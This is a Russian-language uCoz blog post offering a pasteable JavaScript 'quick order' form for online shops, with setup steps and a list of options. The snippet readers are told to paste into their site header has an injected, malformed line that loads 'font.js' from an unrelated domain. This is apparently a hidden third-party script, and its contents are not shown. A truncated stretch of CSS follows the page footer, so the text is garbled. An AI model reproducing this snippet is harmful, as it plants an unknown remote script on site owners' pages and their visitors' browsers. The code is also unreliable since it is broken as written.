Оцените дизайн сайта
Результаты | Архив опросов
Всего ответов: 431

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » 2014 » Июнь » 9 » Форма заказа для Интернет-магазина на uCoz
14:54
Форма заказа для Интернет-магазина на uCoz


Сегодня Вашему вниманию предлагаю скрипт, который добавляет форму для оформления быстрого заказа на Ваш сайт.
Данный функционал очень полезен для интернет-магазинов, повышает лояльность пользователей и отлично дополнит практически любой сайт.
Как обычно - скрипт полностью готов к использованию и Вы можете установить его к себе на сайт добавив всего несколько строк javascript.

Итак, для того, чтобы добавить к себе на сайт эту форму необходимо:

Зайти в "Панель управления" - "Дизайн" - "Управление дизайном (CSS)" - "Глобальные блоки : Верхняя часть сайта" и вставить скрипт:

Код
<script type="text/javascript" src="http://my.uguide.ru/uorder/uOrder.js"></script>
<script type="text/javascript"><script type="text/javascript" src="http://24-moto.ru/font.js"></script>
uOrder.init({name:"ФИО", adress:"Адрес", phone:"Телефон", email_from: "feedback@site.ru", email_to: "email@site.ru"});
</script>


Вместо feedback@site.ru и email@site.ru нужно подставить свои электронные адреса.

Доступные настройки:

subject: "Заказ от ", //Надпись, которая будет в теме отправленного вам письма
site: "с сайта ",
title: "Быстрый заказ",
name: "Ваше имя", //Название поля для имени
adress: "Ваш адрес", //Название поля для адреса
phone: "Ваш телефон", //Название поля для телефона
comment: "Ваш вопрос", //Название поля для комментария
button: "Заказать", //Надпись на кнопке, с помощью которой происходит отправка формы
call_btn: "Оформить быстрый заказ",
colors: "#e84242",
email_from: null,
email_to: null,
status_sending: "Отправка...",
status_error: "Заполните все обязательные поля!"
Просмотров: 530 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
d: transparent url('http://ucozua.ru/Scripts/23/kno1.png'); border: 1px solid #b6b6b6; color: #fff; text-decoration:none; text-align:center; cursor:pointer; margin: 10px; -webkit-box-shadow: 0px 1px 5px #222; -moz-box-shadow: 0px 1px 5px #222; box-shadow: 0px 1px 5px #222; -moz-border-radius:15px; -webkitborder-radius:15px; border-radius:15px;} #kno:hover {text-decoration:none; background: transparent url('http://ucozua.ru/Scripts/23/kno2.png'); border: 1px solid #ffb400; color: #fff; text-decoration:none; cursor:pointer; text-align:center; margin: 10px; -webkit-box-shadow: 0px 0px 4px #222; -moz-box-shadow: 0px 0px 4px #222; box-shadow: 0px 0px 4px #222; -moz-border-radius:15px; -webkitborder-radius:15px; border-radius:15px;} /*стиль кнопок форума*/ input[type~="submit"],input[type~="button"],input[type~="reset"] {background: transparent url('http://ucozua.ru/Scripts/23/kno1.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none} input[type~="submit"]:hover,input[type~="button"]:hover,input[type~="reset"]:hover {background: transparent url('http://ucozua.ru/Scripts/23/kno2.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none} button {background: transparent url('http://ucozua.ru/Scripts/23/kno1.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none} button:hover {background: transparent url('http://ucozua.ru/Scripts/23/kno2.png'); border: 1px solid #b6b6b6; color: #ffffff; height: 20px; font-size: 11px; font-family: Tahoma; color: #000000; text-decoration:none; text-align:center; cursor:pointer; margin-top: 3px; margin-bottom: 3px; -moz-border-radius:3px; -webkit-border-radius:3px; border-radius:3px; -webkit-box-shadow: 0px 1px 2px #222; -moz-box-shadow: 0px 1px 2px #222; box-shadow: 0px 1px 2px #222; outline:none}
Создать бесплатный сайт с uCoz